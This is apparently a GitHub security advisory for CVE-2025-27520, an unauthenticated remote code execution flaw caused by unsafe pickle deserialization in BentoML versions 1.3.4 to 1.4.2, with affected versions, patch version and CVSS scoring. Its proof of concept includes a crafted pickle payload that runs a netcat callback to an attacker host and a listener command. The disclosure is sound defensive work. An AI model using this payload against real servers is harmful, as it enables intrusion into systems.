Skip to content

BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

Critical severity GitHub Reviewed Published Apr 4, 2025 in bentoml/BentoML • Updated Apr 4, 2025

Package

pip bentoml (pip)

Affected versions

>= 1.3.4, < 1.4.3

Patched versions

1.4.3

Description

Summary

A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Details

It exists an unsafe code segment in serde.py:

def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

PoC

Environment:

  • Server host:
    • IP: 10.98.36.123
    • OS: Ubuntu
  • Attack host:
    • IP: 10.98.36.121
    • OS: Ubuntu
  1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) :
pip install -U bentoml

1.2 Define APIs in a service.py file (Server host: 10.98.36.123) :

from __future__ import annotations

import bentoml

@bentoml.service(
    resources={"cpu": "4"}
)
class Summarization:
    def __init__(self) -> None:
        import torch
        from transformers import pipeline

        device = "cuda" if torch.cuda.is_available() else "cpu"
        self.pipeline = pipeline('summarization', device=device)

    @bentoml.api(batchable=True)
    def summarize(self, texts: list[str]) -> list[str]:
        results = self.pipeline(texts)
        return [item['summary_text'] for item in results]

1.3 Run the service code (Server host: 10.98.36.123) :

pip install torch transformers  # additional dependencies for local run

bentoml serve
  1. Start nc listening on the attacking host (Attack host: 10.98.36.121) :
    nc -lvvp 1234

  2. Send maliciously crafted request (Attack host: 10.98.36.121) :

import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
  1. Attack success (Attack host: 10.98.36.121) :
    The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.
    nc

Impact

Remote Code Execution (RCE).

References

@ssheng ssheng published to bentoml/BentoML Apr 4, 2025
Published by the National Vulnerability Database Apr 4, 2025
Published to the GitHub Advisory Database Apr 4, 2025
Reviewed Apr 4, 2025
Last updated Apr 4, 2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(58th percentile)

Weaknesses

CVE ID

CVE-2025-27520

GHSA ID

GHSA-33xw-247w-6hmc

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.